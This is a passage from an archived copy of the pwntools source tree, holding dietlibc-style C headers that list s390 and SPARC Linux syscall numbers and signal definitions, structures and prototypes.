__NR_setrlimit 75 #define __NR_getrusage 77 #define __NR_gettimeofday 78 #define __NR_settimeofday 79 #define __NR_symlink 83 #define __NR_readlink 85 #define __NR_uselib 86 #define __NR_swapon 87 #define __NR_reboot 88 #define __NR_readdir 89 #define __NR_mmap 90 #define __NR_munmap 91 #define __NR_truncate 92 #define __NR_ftruncate 93 #define __NR_fchmod 94 #define __NR_getpriority 96 #define __NR_setpriority 97 #define __NR_statfs 99 #define __NR_fstatfs 100 #define __NR_socketcall 102 #define __NR_syslog 103 #define __NR_setitimer 104 #define __NR_getitimer 105 #define __NR_stat 106 #define __NR_lstat 107 #define __NR_fstat 108 #define __NR_lookup_dcookie 110 #define __NR_vhangup 111 #define __NR_idle 112 #define __NR_wait4 114 #define __NR_swapoff 115 #define __NR_sysinfo 116 #define __NR_ipc 117 #define __NR_fsync 118 #define __NR_sigreturn 119 #define __NR_clone 120 #define __NR_setdomainname 121 #define __NR_uname 122 #define __NR_adjtimex 124 #define __NR_mprotect 125 #define __NR_sigprocmask 126 #define __NR_create_module 127 #define __NR_init_module 128 #define __NR_delete_module 129 #define __NR_get_kernel_syms 130 #define __NR_quotactl 131 #define __NR_getpgid 132 #define __NR_fchdir 133 #define __NR_bdflush 134 #define __NR_sysfs 135 #define __NR_personality 136 #define __NR_afs_syscall 137 /* Syscall for Andrew File System */ #define __NR_getdents 141 #define __NR_select 142 #define __NR_flock 143 #define __NR_msync 144 #define __NR_readv 145 #define __NR_writev 146 #define __NR_getsid 147 #define __NR_fdatasync 148 #define __NR__sysctl 149 #define __NR_mlock 150 #define __NR_munlock 151 #define __NR_mlockall 152 #define __NR_munlockall 153 #define __NR_sched_setparam 154 #define __NR_sched_getparam 155 #define __NR_sched_setscheduler 156 #define __NR_sched_getscheduler 157 #define __NR_sched_yield 158 #define __NR_sched_get_priority_max 159 #define __NR_sched_get_priority_min 160 #define __NR_sched_rr_get_interval 161 #define __NR_nanosleep 162 #define __NR_mremap 163 #define __NR_query_module 167 #define __NR_poll 168 #define __NR_nfsservctl 169 #define __NR_prctl 172 #define __NR_rt_sigreturn 173 #define __NR_rt_sigaction 174 #define __NR_rt_sigprocmask 175 #define __NR_rt_sigpending 176 #define __NR_rt_sigtimedwait 177 #define __NR_rt_sigqueueinfo 178 #define __NR_rt_sigsuspend 179 #define __NR_pread64 180 #define __NR_pwrite64 181 #define __NR_getcwd 183 #define __NR_capget 184 #define __NR_capset 185 #define __NR_sigaltstack 186 #define __NR_sendfile 187 #define __NR_getpmsg 188 #define __NR_putpmsg 189 #define __NR_vfork 190 #define __NR_getrlimit 191 /* SuS compliant getrlimit */ #define __NR_lchown 198 #define __NR_getuid 199 #define __NR_getgid 200 #define __NR_geteuid 201 #define __NR_getegid 202 #define __NR_setreuid 203 #define __NR_setregid 204 #define __NR_getgroups 205 #define __NR_setgroups 206 #define __NR_fchown 207 #define __NR_setresuid 208 #define __NR_getresuid 209 #define __NR_setresgid 210 #define __NR_getresgid 211 #define __NR_chown 212 #define __NR_setuid 213 #define __NR_setgid 214 #define __NR_setfsuid 215 #define __NR_setfsgid 216 #define __NR_pivot_root 217 #define __NR_mincore 218 #define __NR_madvise 219 #define __NR_getdents64 220 #define __NR_readahead 222 #define __NR_setxattr 224 #define __NR_lsetxattr 225 #define __NR_fsetxattr 226 #define __NR_getxattr 227 #define __NR_lgetxattr 228 #define __NR_fgetxattr 229 #define __NR_listxattr 230 #define __NR_llistxattr 231 #define __NR_flistxattr 232 #define __NR_removexattr 233 #define __NR_lremovexattr 234 #define __NR_fremovexattr 235 #define __NR_gettid 236 #define __NR_tkill 237 #define __NR_futex 238 #define __NR_sched_setaffinity 239 #define __NR_sched_getaffinity 240 #define __NR_tgkill 241 /* * Number 242 is reserved for tux */ #define __NR_io_setup 243 #define __NR_io_destroy 244 #define __NR_io_getevents 245 #define __NR_io_submit 246 #define __NR_io_cancel 247 #define __NR_exit_group 248 #define __NR_epoll_create 249 #define __NR_epoll_ctl 250 #define __NR_epoll_wait 251 #define __NR_set_tid_address 252 #define __NR_fadvise64 253 #define __NR_timer_create 254 #define __NR_timer_settime (__NR_timer_create+1) #define __NR_timer_gettime (__NR_timer_create+2) #define __NR_timer_getoverrun (__NR_timer_create+3) #define __NR_timer_delete (__NR_timer_create+4) #define __NR_clock_settime (__NR_timer_create+5) #define __NR_clock_gettime (__NR_timer_create+6) #define __NR_clock_getres (__NR_timer_create+7) #define __NR_clock_nanosleep (__NR_timer_create+8) /* Number 263 is reserved for vserver */ #define __NR_statfs64 265 #define __NR_fstatfs64 266 #define __NR_remap_file_pages 267 #define __NR_mbind 268 #define __NR_get_mempolicy 269 #define __NR_set_mempolicy 270 #define __NR_mq_open 271 #define __NR_mq_unlink 272 #define __NR_mq_timedsend 273 #define __NR_mq_timedreceive 274 #define __NR_mq_notify 275 #define __NR_mq_getsetattr 276 #define __NR_kexec_load 277 #define __NR_add_key 278 #define __NR_request_key 279 #define __NR_keyctl 280 #define __NR_waitid 281 #define __NR_ioprio_set 282 #define __NR_ioprio_get 283 #define __NR_inotify_init 284 #define __NR_inotify_add_watch 285 #define __NR_inotify_rm_watch 286 #define __NR_migrate_pages 287 #define __NR_openat 288 #define __NR_mkdirat 289 #define __NR_mknodat 290 #define __NR_fchownat 291 #define __NR_futimesat 292 #define __NR_newfstatat 293 #define __NR_unlinkat 294 #define __NR_renameat 295 #define __NR_linkat 296 #define __NR_symlinkat 297 #define __NR_readlinkat 298 #define __NR_fchmodat 299 #define __NR_faccessat 300 #define __NR_pselect6 301 #define __NR_ppoll 302 #define __NR_unshare 303 #define __NR_set_robust_list 304 #define __NR_get_robust_list 305 #define __NR_splice 306 #define __NR_sync_file_range 307 #define __NR_tee 308 #define __NR_vmsplice 309 #define __NR_move_pages 310 #define __NR_getcpu 311 #define __NR_epoll_pwait 312 #define __NR_utimes 313 #define __NR_fallocate 314 #define __NR_utimensat 315 #define __NR_signalfd 316 #define __NR_timerfd 317 #define __NR_eventfd 318 #define __NR_timerfd_create 319 #define __NR_timerfd_settime 320 #define __NR_timerfd_gettime 321 #define __NR_signalfd4 322 #define __NR_eventfd2 323 #define __NR_inotify_init1 324 #define __NR_pipe2 325 #define __NR_dup3 326 #define __NR_epoll_create1 327 #define __NR_preadv 328 #define __NR_pwritev 329 #define __NR_rt_tgsigqueueinfo 330 #define __NR_perf_event_open 331 #define __NR_fanotify_init 332 #define __NR_fanotify_mark 333 #define __NR_prlimit64 334 #define __NR_name_to_handle_at 335 #define __NR_open_by_handle_at 336 #define __NR_clock_adjtime 337 #define __NR_syncfs 338 #define __NR_setns 339 #define __NR_process_vm_readv 340 #define __NR_process_vm_writev 341 #define __NR_s390_runtime_instr 342 #define __NR_kcmp 343 #define __NR_finit_module 344 #define __NR_sched_setattr 345 #define __NR_sched_getattr 346 #define __NR_renameat2 347 #define __NR_seccomp 348 #define __NR_getrandom 349 #define __NR_memfd_create 350 #define __NR_bpf 351 #define __NR_s390_pci_mmio_write 352 #define __NR_s390_pci_mmio_read 353 #define __NR_execveat 354 #define __NR_userfaultfd 355 #define __NR_membarrier 356 #define __NR_recvmmsg 357 #define __NR_sendmmsg 358 #define __NR_socket 359 #define __NR_socketpair 360 #define __NR_bind 361 #define __NR_connect 362 #define __NR_listen 363 #define __NR_accept4 364 #define __NR_getsockopt 365 #define __NR_setsockopt 366 #define __NR_getsockname 367 #define __NR_getpeername 368 #define __NR_sendto 369 #define __NR_sendmsg 370 #define __NR_recvfrom 371 #define __NR_recvmsg 372 #define __NR_shutdown 373 #define __NR_mlock2 374 #define __NR_copy_file_range 375 #define __NR_preadv2 376 #define __NR_pwritev2 377 #define __NR_s390_guarded_storage 378 #define __NR_statx 379 #define __NR_s390_sthyi 380 #define __NR_kexec_file_load 381 #define __NR_io_pgetevents 382 #define __NR_rseq 383 #define __NR_pkey_mprotect 384 #define __NR_pkey_alloc 385 #define __NR_pkey_free 386 #define __NR_semtimedop 392 #define __NR_semget 393 #define __NR_semctl 394 #define __NR_shmget 395 #define __NR_shmctl 396 #define __NR_shmat 397 #define __NR_shmdt 398 #define __NR_msgget 399 #define __NR_msgsnd 400 #define __NR_msgrcv 401 #define __NR_msgctl 402 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_clone3 435 #define __NR_openat2 437 #define __NR_pidfd_getfd 438 #define syscall_weak(name,wsym,sym) \ .text; \ .type wsym,@function; \ .weak wsym; \ wsym: ; \ .type sym,@function; \ .global sym; \ sym: \ .if __NR_##name < 256 ; \ svc __NR_##name ; \ .else ; \ la %r1,__NR_##name ; \ svc 0 ; \ .endif ; \ j __unified_syscall #define syscall(name,sym) \ .text; \ .type sym,@function; \ .global sym; \ sym: \ .if __NR_##name < 256 ; \ svc __NR_##name ; \ .else ; \ la %r1,__NR_##name ; \ svc 0 ; \ .endif ; \ j __unified_syscall Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/signal.h000066400000000000000000000343161507273764500277230ustar00rootroot00000000000000#ifndef _SIGNAL_H #define _SIGNAL_H #include __BEGIN_DECLS #define __WANT_POSIX1B_SIGNALS__ #include #include #define NSIG 32 #ifdef __mips__ #define _NSIG 128 #else #define _NSIG 65 #endif #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGFPE 8 #define SIGKILL 9 #define SIGSEGV 11 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGUNUSED 31 #if defined(__i386__) || defined(__x86_64__) || defined(__powerpc__) || defined(__arm__) \ || defined(__s390__) || defined(__ia64__) || defined(__powerpc64__) || defined(__aarch64__) #define SIGBUS 7 #define SIGUSR1 10 #define SIGUSR2 12 #define SIGSTKFLT 16 #define SIGCHLD 17 #define SIGCONT 18 #define SIGSTOP 19 #define SIGTSTP 20 #define SIGTTIN 21 #define SIGTTOU 22 #define SIGURG 23 #define SIGXCPU 24 #define SIGXFSZ 25 #define SIGVTALRM 26 #define SIGPROF 27 #define SIGWINCH 28 #define SIGIO 29 #define SIGPWR 30 #define SIGSYS 31 #elif defined(__alpha__) || defined(__sparc__) #define SIGEMT 7 #define SIGBUS 10 #define SIGSYS 12 #define SIGURG 16 #define SIGSTOP 17 #define SIGTSTP 18 #define SIGCONT 19 #define SIGCHLD 20 #define SIGTTIN 21 #define SIGTTOU 22 #define SIGIO 23 #define SIGXCPU 24 #define SIGXFSZ 25 #define SIGVTALRM 26 #define SIGPROF 27 #define SIGWINCH 28 #define SIGPWR 29 #define SIGUSR1 30 #define SIGUSR2 31 #if defined(__alpha__) #define SIGINFO SIGPWR #endif #elif defined(__mips__) #define SIGEMT 7 #define SIGBUS 10 #define SIGSYS 12 #define SIGUSR1 16 #define SIGUSR2 17 #define SIGCHLD 18 #define SIGPWR 19 #define SIGWINCH 20 #define SIGURG 21 #define SIGIO 22 #define SIGSTOP 23 #define SIGTSTP 24 #define SIGCONT 25 #define SIGTTIN 26 #define SIGTTOU 27 #define SIGVTALRM 28 #define SIGPROF 29 #define SIGXCPU 30 #define SIGXFSZ 31 #elif defined(__hppa__) #define SIGSTKFLT 7 #define SIGBUS 10 #define SIGXCPU 12 #define SIGUSR1 16 #define SIGUSR2 17 #define SIGCHLD 18 #define SIGPWR 19 #define SIGVTALRM 20 #define SIGPROF 21 #define SIGIO 22 #define SIGWINCH 23 #define SIGSTOP 24 #define SIGTSTP 25 #define SIGCONT 26 #define SIGTTIN 27 #define SIGTTOU 28 #define SIGURG 29 #define SIGXFSZ 30 #define SIGUNUSED 31 #define SIGRESERVE SIGUNUSED #define SIGSYS 31 #else #error signal layout not yet known #endif #define SIGCLD SIGCHLD #define SIGPOLL SIGIO /* These should not be considered constants from userland. */ #define SIGLOST SIGPWR #define SIGRTMIN 32 #define SIGRTMAX (_NSIG-1) /* SA_FLAGS values: */ #if defined(__alpha__) #define SA_ONSTACK 0x00000001 #define SA_RESTART 0x00000002 #define SA_NOCLDSTOP 0x00000004 #define SA_NODEFER 0x00000008 #define SA_RESETHAND 0x00000010 #define SA_NOCLDWAIT 0x00000020 /* not supported yet */ #define SA_SIGINFO 0x00000040 #define SA_INTERRUPT 0x20000000 /* dummy -- ignored */ #elif defined(__hppa__) #define SA_ONSTACK 0x00000001 #define SA_RESETHAND 0x00000004 #define SA_NOCLDSTOP 0x00000008 #define SA_SIGINFO 0x00000010 #define SA_NODEFER 0x00000020 #define SA_RESTART 0x00000040 #define SA_NOCLDWAIT 0x00000080 /* not supported yet */ #define _SA_SIGGFAULT 0x00000100 /* HPUX */ #define SA_INTERRUPT 0x20000000 /* dummy -- ignored */ #define SA_RESTORER 0x04000000 /* obsolete -- ignored */ #elif defined (__sparc__) #define SV_SSTACK 1 /* This signal handler should use sig-stack */ #define SV_INTR 2 /* Sig return should not restart system call */ #define SV_RESET 4 /* Set handler to SIG_DFL upon taken signal */ #define SV_IGNCHILD 8 /* Do not send SIGCHLD */ #define SA_NOCLDSTOP SV_IGNCHILD #define SA_STACK SV_SSTACK #define SA_ONSTACK SV_SSTACK #define SA_RESTART SV_INTR #define SA_RESETHAND SV_RESET #define SA_INTERRUPT 0x10 #define SA_NODEFER 0x20 #define SA_SHIRQ 0x40 #define SA_NOCLDWAIT 0x100 /* not supported yet */ #define SA_SIGINFO 0x200 #else #if defined (__mips__) #define SA_NOCLDSTOP 0x00000001 #define SA_SIGINFO 0x00000008 #define SA_NOCLDWAIT 0x00010000 /* Not supported yet */ #else #define SA_NOCLDSTOP 0x00000001 #define SA_NOCLDWAIT 0x00000002 /* not supported yet */ #define SA_SIGINFO 0x00000004 #endif #if defined(__arm__) #define SA_THIRTYTWO 0x02000000 #endif #define SA_RESTORER 0x04000000 #define SA_ONSTACK 0x08000000 #define SA_RESTART 0x10000000 #define SA_INTERRUPT 0x20000000 /* dummy -- ignored */ #define SA_NODEFER 0x40000000 #define SA_RESETHAND 0x80000000 #endif /* ugh, historic Linux legacy, for gpm :-( */ #define SA_NOMASK SA_NODEFER #define SA_ONESHOT SA_RESETHAND /* sigaltstack controls */ #define SS_ONSTACK 1 #define SS_DISABLE 2 #define MINSIGSTKSZ 2048 #define SIGSTKSZ 8192 #if defined(__sparc__) #define SIG_BLOCK 1 #define SIG_UNBLOCK 2 #define SIG_SETMASK 4 #elif defined(__alpha__) || defined(__mips__) #define SIG_BLOCK 1 #define SIG_UNBLOCK 2 #define SIG_SETMASK 3 #else #define SIG_BLOCK 0 /* for blocking signals */ #define SIG_UNBLOCK 1 /* for unblocking signals */ #define SIG_SETMASK 2 /* for setting the signal mask */ #endif typedef int sig_atomic_t; typedef void (*sighandler_t)(int); #ifdef _BSD_SOURCE typedef sighandler_t sig_t; #endif #ifdef _GNU_SOURCE typedef sighandler_t __sighandler_t; /* shoot the glibc people! */ #endif #define SIG_DFL ((sighandler_t)0L) /* default signal handling */ #define SIG_IGN ((sighandler_t)1L) /* ignore signal */ #define SIG_ERR ((sighandler_t)-1L) /* error return from signal */ typedef union sigval { int sival_int; void *sival_ptr; } sigval_t; #define SI_MAX_SIZE 128 #if __WORDSIZE == 64 #define SI_PAD_SIZE ((SI_MAX_SIZE/sizeof(int32_t)) - 4) #else #define SI_PAD_SIZE ((SI_MAX_SIZE/sizeof(int32_t)) - 3) #endif #ifdef __sparc_v9__ typedef int32_t __band_t; #else typedef long __band_t; #endif typedef struct siginfo { int32_t si_signo; int32_t si_errno; int32_t si_code; union { int32_t _pad[SI_PAD_SIZE]; /* kill() */ struct { pid_t _pid; /* sender's pid */ uid_t _uid; /* sender's uid */ } _kill; /* POSIX.1b timers */ struct { uint32_t _timer1; uint32_t _timer2; } _timer; /* POSIX.1b signals */ struct { pid_t _pid; /* sender's pid */ uid_t _uid; /* sender's uid */ sigval_t _sigval; } _rt; /* SIGCHLD */ struct { pid_t _pid; /* which child */ uid_t _uid; /* sender's uid */ int32_t _status; /* exit code */ clock_t _utime; clock_t _stime; } _sigchld; /* SIGILL, SIGFPE, SIGSEGV, SIGBUS */ struct { void *_addr; /* faulting insn/memory ref. */ } _sigfault; /* SIGPOLL */ struct { __band_t _band; /* POLL_IN, POLL_OUT, POLL_MSG */ int32_t _fd; } _sigpoll; } _sifields; } siginfo_t; /* * How these fields are to be accessed. */ #define si_pid _sifields._kill._pid #define si_uid _sifields._kill._uid #define si_status _sifields._sigchld._status #define si_utime _sifields._sigchld._utime #define si_stime _sifields._sigchld._stime #define si_value _sifields._rt._sigval #define si_int _sifields._rt._sigval.sival_int #define si_ptr _sifields._rt._sigval.sival_ptr #define si_addr _sifields._sigfault._addr #define si_band _sifields._sigpoll._band #define si_fd _sifields._sigpoll._fd /* Values for `si_code'. Positive values are reserved for kernel-generated signals. */ enum { SI_ASYNCNL = -6, /* Sent by asynch name lookup completion. */ # define SI_ASYNCNL SI_ASYNCNL SI_SIGIO, /* Sent by queued SIGIO. */ # define SI_SIGIO SI_SIGIO SI_ASYNCIO, /* Sent by AIO completion. */ # define SI_ASYNCIO SI_ASYNCIO SI_MESGQ, /* Sent by real time mesq state change. */ # define SI_MESGQ SI_MESGQ SI_TIMER, /* Sent by timer expiration. */ # define SI_TIMER SI_TIMER SI_QUEUE, /* Sent by sigqueue. */ # define SI_QUEUE SI_QUEUE SI_USER, /* Sent by kill, sigsend, raise. */ # define SI_USER SI_USER SI_KERNEL = 0x80 /* Send by kernel. */ #define SI_KERNEL SI_KERNEL }; /* `si_code' values for SIGILL signal. */ enum { ILL_ILLOPC = 1, /* Illegal opcode. */ # define ILL_ILLOPC ILL_ILLOPC ILL_ILLOPN, /* Illegal operand. */ # define ILL_ILLOPN ILL_ILLOPN ILL_ILLADR, /* Illegal addressing mode. */ # define ILL_ILLADR ILL_ILLADR ILL_ILLTRP, /* Illegal trap. */ # define ILL_ILLTRP ILL_ILLTRP ILL_PRVOPC, /* Privileged opcode. */ # define ILL_PRVOPC ILL_PRVOPC ILL_PRVREG, /* Privileged register. */ # define ILL_PRVREG ILL_PRVREG ILL_COPROC, /* Coprocessor error. */ # define ILL_COPROC ILL_COPROC ILL_BADSTK /* Internal stack error. */ # define ILL_BADSTK ILL_BADSTK }; /* `si_code' values for SIGFPE signal. */ enum { FPE_INTDIV = 1, /* Integer divide by zero. */ # define FPE_INTDIV FPE_INTDIV FPE_INTOVF, /* Integer overflow. */ # define FPE_INTOVF FPE_INTOVF FPE_FLTDIV, /* Floating point divide by zero. */ # define FPE_FLTDIV FPE_FLTDIV FPE_FLTOVF, /* Floating point overflow. */ # define FPE_FLTOVF FPE_FLTOVF FPE_FLTUND, /* Floating point underflow. */ # define FPE_FLTUND FPE_FLTUND FPE_FLTRES, /* Floating point inexact result. */ # define FPE_FLTRES FPE_FLTRES FPE_FLTINV, /* Floating point invalid operation. */ # define FPE_FLTINV FPE_FLTINV FPE_FLTSUB /* Subscript out of range. */ # define FPE_FLTSUB FPE_FLTSUB }; /* `si_code' values for SIGSEGV signal. */ enum { SEGV_MAPERR = 1, /* Address not mapped to object. */ # define SEGV_MAPERR SEGV_MAPERR SEGV_ACCERR /* Invalid permissions for mapped object. */ # define SEGV_ACCERR SEGV_ACCERR }; /* `si_code' values for SIGBUS signal. */ enum { BUS_ADRALN = 1, /* Invalid address alignment. */ # define BUS_ADRALN BUS_ADRALN BUS_ADRERR, /* Non-existant physical address. */ # define BUS_ADRERR BUS_ADRERR BUS_OBJERR /* Object specific hardware error. */ # define BUS_OBJERR BUS_OBJERR }; /* `si_code' values for SIGTRAP signal. */ enum { TRAP_BRKPT = 1, /* Process breakpoint. */ # define TRAP_BRKPT TRAP_BRKPT TRAP_TRACE /* Process trace trap. */ # define TRAP_TRACE TRAP_TRACE }; /* `si_code' values for SIGCHLD signal. */ enum { CLD_EXITED = 1, /* Child has exited. */ # define CLD_EXITED CLD_EXITED CLD_KILLED, /* Child was killed. */ # define CLD_KILLED CLD_KILLED CLD_DUMPED, /* Child terminated abnormally. */ # define CLD_DUMPED CLD_DUMPED CLD_TRAPPED, /* Traced child has trapped. */ # define CLD_TRAPPED CLD_TRAPPED CLD_STOPPED, /* Child has stopped. */ # define CLD_STOPPED CLD_STOPPED CLD_CONTINUED /* Stopped child has continued. */ # define CLD_CONTINUED CLD_CONTINUED }; /* `si_code' values for SIGPOLL signal. */ enum { POLL_IN = 1, /* Data input available. */ # define POLL_IN POLL_IN POLL_OUT, /* Output buffers available. */ # define POLL_OUT POLL_OUT POLL_MSG, /* Input message available. */ # define POLL_MSG POLL_MSG POLL_ERR, /* I/O error. */ # define POLL_ERR POLL_ERR POLL_PRI, /* High priority input available. */ # define POLL_PRI POLL_PRI POLL_HUP /* Device disconnected. */ # define POLL_HUP POLL_HUP }; #define _SIGSET_WORDS (1024 / (8 * sizeof (unsigned long int))) typedef struct { unsigned long sig[_SIGSET_WORDS]; } sigset_t; struct sigaction { #if defined(__alpha__) || defined(__ia64__) || defined(__hppa__) union { sighandler_t _sa_handler; void (*_sa_sigaction)(int, siginfo_t*, void*); } _u; unsigned long sa_flags; sigset_t sa_mask; #elif defined(__mips__) unsigned long sa_flags; union { sighandler_t _sa_handler; void (*_sa_sigaction)(int, siginfo_t*, void*); } _u; sigset_t sa_mask; void (*sa_restorer)(void); int32_t sa_resv[1]; #else /* arm, i386, ppc, s390, sparc, saprc64, x86_64 */ union { sighandler_t _sa_handler; void (*_sa_sigaction)(int, siginfo_t*, void*); } _u; unsigned long sa_flags; void (*sa_restorer)(void); sigset_t sa_mask; #endif }; #define sa_handler _u._sa_handler #define sa_sigaction _u._sa_sigaction #define SIGEV_SIGNAL 0 /* notify via signal */ #define SIGEV_NONE 1 /* other notification: meaningless */ #define SIGEV_THREAD 2 /* deliver via thread creation */ #define SIGEV_THREAD_ID 4 /* deliver to thread */ #define SIGEV_MAX_SIZE 64 #ifndef SIGEV_PAD_SIZE #define SIGEV_PAD_SIZE ((SIGEV_MAX_SIZE/sizeof(int32_t)) - 3) #endif typedef struct sigevent { sigval_t sigev_value; int32_t sigev_signo; int32_t sigev_notify; union { int32_t _pad[SIGEV_PAD_SIZE]; int32_t _tid; struct { void(*_function)(sigval_t); void*_attribute; /* really pthread_attr_t */ } _sigev_thread; } _sigev_un; } sigevent_t; #define sigev_notify_function _sigev_un._sigev_thread._function #define sigev_notify_attributes _sigev_un._sigev_thread._attribute #define sigev_notify_thread_id _sigev_un._tid typedef struct sigaltstack { #if defined(__mips__) void *ss_sp; size_t ss_size; int32_t ss_flags; #else void *ss_sp; int32_t ss_flags; size_t ss_size; #endif } stack_t; int sigaltstack(const struct sigaltstack *newstack, struct sigaltstack *oldstack) __THROW; int sigemptyset(sigset_t *set) __THROW; int sigfillset(sigset_t *set) __THROW; int sigaddset(sigset_t *set, int signum) __THROW; int sigdelset(sigset_t *set, int signum) __THROW; int sigismember(const sigset_t *set, int signo) __THROW; int sigsuspend(const sigset_t *mask) __THROW; int sigpending(sigset_t *set) __THROW; int sigprocmask(int how, const sigset_t *set, sigset_t *oldset) __THROW; #ifdef _GNU_SOURCE int sigisemptyset(const sigset_t *set) __THROW __pure; int sigorset(sigset_t *set, const sigset_t *left, const sigset_t *right) __THROW; int sigandset(sigset_t *set, const sigset_t *left, const sigset_t *right) __THROW; #endif sighandler_t signal(int signum, sighandler_t action); int raise (int sig) __THROW; int kill(pid_t pid, int sig) __THROW; int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact) __THROW; #include int sigtimedwait(const sigset_t *mask, siginfo_t *info, const struct timespec *ts) __THROW; int sigqueueinfo(pid_t pid, int sig, siginfo_t *info) __THROW; int siginterrupt(int sig, int flag) __THROW; int killpg(pid_t pgrp, int sig) __THROW; /* 0 is OK ! kernel puts in MAX_THREAD_TIMEOUT :) */ #define sigwaitinfo(m, i) sigtimedwait((m),(i),0) int sigwait(const sigset_t* set,int* sig) __THROW; extern const char *const* sys_siglist; #include __END_DECLS #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/sparc/000077500000000000000000000000001507273764500273765ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/sparc/syscalls.h000066400000000000000000000612601507273764500314110ustar00rootroot00000000000000 #define __NR_exit 1 /* Common */ #define __NR_fork 2 /* Common */ #define __NR_read 3 /* Common */ #define __NR_write 4 /* Common */ #define __NR_open 5 /* Common */ #define __NR_close 6 /* Common */ #define __NR_wait4 7 /* Common */ #define __NR_creat 8 /* Common */ #define __NR_link 9 /* Common */ #define __NR_unlink 10 /* Common */ #define __NR_execv 11 /* SunOS Specific */ #define __NR_chdir 12 /* Common */ #define __NR_chown 13 /* Common */ #define __NR_mknod 14 /* Common */ #define __NR_chmod 15 /* Common */ #define __NR_lchown 16 /* Common */ #define __NR_brk 17 /* Common */ #define __NR_perfctr 18 /* Performance counter operations */ #define __NR_lseek 19 /* Common */ #define __NR_getpid 20 /* Common */ #define __NR_capget 21 /* Linux Specific */ #define __NR_capset 22 /* Linux Specific */ #define __NR_setuid 23 /* Implemented via setreuid in SunOS */ #define __NR_getuid 24 /* Common */ /* #define __NR_time alias 25 ENOSYS under SunOS */ #define __NR_ptrace 26 /* Common */ #define __NR_alarm 27 /* Implemented via setitimer in SunOS */ #define __NR_sigaltstack 28 /* Common */ #define __NR_pause 29 /* Is sigblock(0)->sigpause() in SunOS */ #define __NR_utime 30 /* Implemented via utimes() under SunOS */ #define __NR_lchown32 31 /* Linux sparc32 specific */ #define __NR_fchown32 32 /* Linux sparc32 specific */ #define __NR_access 33 /* Common */ #define __NR_nice 34 /* Implemented via get/setpriority() in SunOS */ #define __NR_chown32 35 /* Linux sparc32 specific */ #define __NR_sync 36 /* Common */ #define __NR_kill 37 /* Common */ #define __NR_stat 38 /* Common */ #define __NR_sendfile 39 /* Linux Specific */ #define __NR_lstat 40 /* Common */ #define __NR_dup 41 /* Common */ #define __NR_pipe 42 /* Common */ #define __NR_times 43 /* Implemented via getrusage() in SunOS */ #define __NR_getuid32 44 /* Linux sparc32 specific */ #define __NR_umount2 45 /* Linux Specific */ #define __NR_setgid 46 /* Implemented via setregid() in SunOS */ #define __NR_getgid 47 /* Common */ #define __NR_signal 48 /* Implemented via sigvec() in SunOS */ #define __NR_geteuid 49 /* SunOS calls getuid() */ #define __NR_getegid 50 /* SunOS calls getgid() */ #define __NR_acct 51 /* Common */ /* #define __NR_memory_ordering 52 Linux sparc64 specific */ #define __NR_getgid32 53 /* Linux sparc32 specific */ #define __NR_ioctl 54 /* Common */ #define __NR_reboot 55 /* Common */ #define __NR_mmap2 56 /* Linux sparc32 Specific */ #define __NR_symlink 57 /* Common */ #define __NR_readlink 58 /* Common */ #define __NR_execve 59 /* Common */ #define __NR_umask 60 /* Common */ #define __NR_chroot 61 /* Common */ #define __NR_fstat 62 /* Common */ #define __NR_fstat64 63 /* Linux sparc32 Specific */ #define __NR_getpagesize 64 /* Common */ #define __NR_msync 65 /* Common in newer 1.3.x revs... */ #define __NR_vfork 66 /* Common */ #define __NR_pread 67 /* Linux Specific */ #define __NR_pwrite 68 /* Linux Specific */ #define __NR_geteuid32 69 /* Linux sparc32, sbrk under SunOS */ #define __NR_getegid32 70 /* Linux sparc32, sstk under SunOS */ #define __NR_mmap 71 /* Common */ #define __NR_setreuid32 72 /* Linux sparc32, vadvise under SunOS */ #define __NR_munmap 73 /* Common */ #define __NR_mprotect 74 /* Common */ #define __NR_madvise 75 /* Common */ #define __NR_vhangup 76 /* Common */ #define __NR_truncate64 77 /* Linux sparc32 Specific */ #define __NR_mincore 78 /* Common */ #define __NR_getgroups 79 /* Common */ #define __NR_setgroups 80 /* Common */ #define __NR_getpgrp 81 /* Common */ #define __NR_setgroups32 82 /* Linux sparc32, setpgrp under SunOS */ #define __NR_setitimer 83 /* Common */ #define __NR_ftruncate64 84 /* Linux sparc32 Specific */ #define __NR_swapon 85 /* Common */ #define __NR_getitimer 86 /* Common */ #define __NR_setuid32 87 /* Linux sparc32, gethostname under SunOS */ #define __NR_sethostname 88 /* Common */ #define __NR_setgid32 89 /* Linux sparc32, getdtablesize under SunOS */ #define __NR_dup2 90 /* Common */ #define __NR_setfsuid32 91 /* Linux sparc32, getdopt under SunOS */ #define __NR_fcntl 92 /* Common */ #define __NR_select 93 /* Common */ #define __NR_setfsgid32 94 /* Linux sparc32, setdopt under SunOS */ #define __NR_fsync 95 /* Common */ #define __NR_setpriority 96 /* Common */ #define __NR_socket 97 /* Common */ #define __NR_connect 98 /* Common */ #define __NR_accept 99 /* Common */ #define __NR_getpriority 100 /* Common */ #define __NR_rt_sigreturn 101 /* Linux Specific */ #define __NR_rt_sigaction 102 /* Linux Specific */ #define __NR_rt_sigprocmask 103 /* Linux Specific */ #define __NR_rt_sigpending 104 /* Linux Specific */ #define __NR_rt_sigtimedwait 105 /* Linux Specific */ #define __NR_rt_sigqueueinfo 106 /* Linux Specific */ #define __NR_rt_sigsuspend 107 /* Linux Specific */ #define __NR_setresuid32 108 /* Linux Specific, sigvec under SunOS */ #define __NR_getresuid32 109 /* Linux Specific, sigblock under SunOS */ #define __NR_setresgid32 110 /* Linux Specific, sigsetmask under SunOS */ #define __NR_getresgid32 111 /* Linux Specific, sigpause under SunOS */ #define __NR_setregid32 112 /* Linux sparc32, sigstack under SunOS */ #define __NR_recvmsg 113 /* Common */ #define __NR_sendmsg 114 /* Common */ #define __NR_getgroups32 115 /* Linux sparc32, vtrace under SunOS */ #define __NR_gettimeofday 116 /* Common */ #define 